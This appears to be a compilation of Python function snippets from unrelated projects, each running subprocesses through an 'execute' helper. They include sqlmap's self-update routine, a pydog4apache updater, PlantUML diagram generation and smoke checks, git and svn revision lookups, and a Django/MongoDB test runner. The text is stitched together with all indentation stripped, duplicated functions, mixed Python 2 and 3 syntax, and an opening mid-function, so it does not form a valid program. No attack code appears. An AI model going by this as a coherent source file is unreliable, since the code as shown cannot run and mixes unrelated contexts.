logger.info('updated to the latest revision %s' % revision.group(1))
def initialize(self, service=None):
''' Initializes the test environment '''
if service:
self.fnull = open(os.devnull, 'w')
self.service = execute(service,
stdout=self.fnull,
stderr=self.fnull)
log.debug("%s service started: %s", service, self.service.pid)
time.sleep(0.2)
else:
self.service = None
log.debug("%s context started", self.context)
def generate(self):
puml = execute(
['java', '-jar', self.proc.plantuml_jar_path, '-pipe', '-tpng'],
stdin=PIPE,
stdout=self.file)
puml.communicate(input=self.text.encode('UTF-8'))
if puml.returncode != 0:
print("Error Processing Diagram:")
print(self.text)
return
else:
return self.file
def last_commit_hash(self):
# This function returns the last commit hash in local repo
command = ("git --git-dir=%s log -n 1 " % (self.git_dir))
command += "--pretty=format:%H"
process = execute(command,
shell=True,
env=self.process_environ,
stdout=PIPE,
stderr=PIPE)
stdout, stderr = process.communicate()
commit_hash = stdout.strip()
return commit_hash
def check_plantuml_functionality(self):
puml = execute(
["java", "-jar", self.plantuml_jar_path, "-testdot"], stdout=PIPE, stderr=STDOUT, **EXTRA_CALL_ARGS
)
(stdout, stderr) = puml.communicate()
dot_output = str(stdout)
print("PlantUML Smoke Check:")
print(dot_output)
if ("OK" not in dot_output) or ("Error" in dot_output):
raise Exception("PlantUML does not appear functional")
def update():
if not conf.updateAll:
return
success = False
rootDir = paths.SQLMAP_ROOT_PATH
if not os.path.exists(os.path.join(rootDir, ".git")):
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
else:
infoMsg = "updating sqlmap to the latest development version from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'git' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE)
pollProcess(process, True)
stdout, stderr = process.communicate()
success = not process.returncode
if success:
import lib.core.settings
_ = lib.core.settings.REVISION = getRevisionNumber()
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
else:
if "Not a git repository" in stderr:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
if not success:
if IS_WIN:
infoMsg = "for Windows platform it's recommended "
infoMsg += "to use a GitHub for Windows client for updating "
infoMsg += "purposes (http://windows.github.com/) or just "
infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else:
infoMsg = "for Linux platform it's required "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg)
def main(short):
# Run some basic tests outside Django's test environment
execute_python(
"""
from mongodb.models import RawModel
RawModel.objects.create()
RawModel.objects.all().delete()
RawModel.objects.update()
"""
)
import settings
import settings.dbindexer
import settings.slow_tests
runtests(settings, extra=["--failfast"] if short else [])
# assert we didn't touch the production database
execute_python(
"""
from pymongo import Connection
print Connection().test.mongodb_rawmodel.find()
assert Connection().test.mongodb_rawmodel.find_one()['raw'] == 42
"""
)
if short:
exit()
# Make sure we can syncdb.
execute(["./manage.py", "syncdb", "--noinput"])
runtests(settings.dbindexer)
runtests(["router"], "settings.router")
runtests(settings.INSTALLED_APPS, "settings.debug")
runtests(settings.slow_tests, test_builtin=True)
def check_plantuml_version(self):
puml = execute(
["java", "-jar", self.plantuml_jar_path, "-version"], stdout=PIPE, stderr=STDOUT, **EXTRA_CALL_ARGS
)
(stdout, stderr) = puml.communicate()
version_output = stdout
print("Version Detection:")
print(version_output)
if not puml.returncode == 0:
raise Exception("PlantUML returned an error code")
if self.PLANTUML_VERSION_STRING not in str(version_output):
raise Exception("error verifying PlantUML version")
def __init__(self):
GIT_REPOSITORY = "https://github.com/epsylon/pydog4apache"
rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
if not os.path.exists(os.path.join(rootDir, ".git")):
print "Not any .git repository found!\n"
print "="*30
print "\nTo have working this feature, you should clone pydog4apache with:\n"
print "$ git clone %s" % GIT_REPOSITORY
else:
checkout = execute("git checkout . && git pull", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
print checkout
if not "Already up-to-date" in checkout:
print "Congratulations!! pydog4apache has been updated... ;-)\n"
else:
print "Your pydog4apache doesn't need to be updated... ;-)\n"
def getRevisionNumber():
curDir = os.path.dirname(os.path.realpath(__file__))
retVal = None
try:
import pysvn
client = pysvn.Client()
if client.info(curDir):
retVal = client.info(curDir).revision.number
except ImportError:
process = execute("svn info %s" % curDir, shell=True, stdout=PIPE, stderr=PIPE)
svnStdout, svnStderr = process.communicate()
if svnStdout:
revision = re.search("Revision:\s+([\d]+)", svnStdout)
if revision:
retVal = revision.group(1)
except:
pass
if not retVal:
# Reference: http://stackoverflow.com/questions/242295/how-does-one-add-a-svn-repository-build-number-to-python-code
entriesPath = '%s/.svn/entries' % curDir
if os.path.exists(entriesPath):
entries = open(entriesPath, 'r').read()
# Versions >= 7 of the entries file are flat text. The first line is
# the version number. The next set of digits after 'dir' is the revision.
if re.match('(\d+)', entries):
match = re.search('\d+\s+dir\s+(\d+)', entries)
if match:
retVal = match.groups()[0]
# Older XML versions of the file specify revision as an attribute of
# the first entries node.
else:
from xml.dom import minidom
dom = minidom.parse(entriesPath)
retVal = dom.getElementsByTagName('entry')[0].getAttribute('revision')
if retVal:
try:
retVal = int(retVal)
except ValueError:
retVal = None
return retVal
def update():
if not conf.updateAll:
return
success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
else:
infoMsg = "updating sqlmap to the latest development version from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'git' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
try:
process = execute(
"git checkout . && git pull %s HEAD" % GIT_REPOSITORY,
shell=True,
stdout=PIPE,
stderr=PIPE,
cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True)
stdout, stderr = process.communicate()
success = not process.returncode
except (IOError, OSError), ex:
success = False
stderr = getSafeExString(ex)
if success:
import lib.core.settings
_ = lib.core.settings.REVISION = getRevisionNumber()
logger.info(
"%s the latest revision '%s'" %
("already at" if "Already" in stdout else "updated to", _))
else:
if "Not a git repository" in stderr:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
else:
logger.error("update could not be completed ('%s')" % re.sub(
r"\W+", " ", stderr).strip())
def generate(self):
command = ["java", "-jar", self.proc.plantuml_jar_path, "-pipe", "-tpng", "-charset", "UTF-8"]
charset = self.proc.CHARSET
if charset:
print("using charset: " + charset)
command.append("-charset")
command.append(charset)
puml = execute(command, stdin=PIPE, stdout=self.file, **EXTRA_CALL_ARGS)
puml.communicate(input=self.text.encode("UTF-8"))
if puml.returncode != 0:
print("Error Processing Diagram:")
print(self.text)
return
else:
return self.file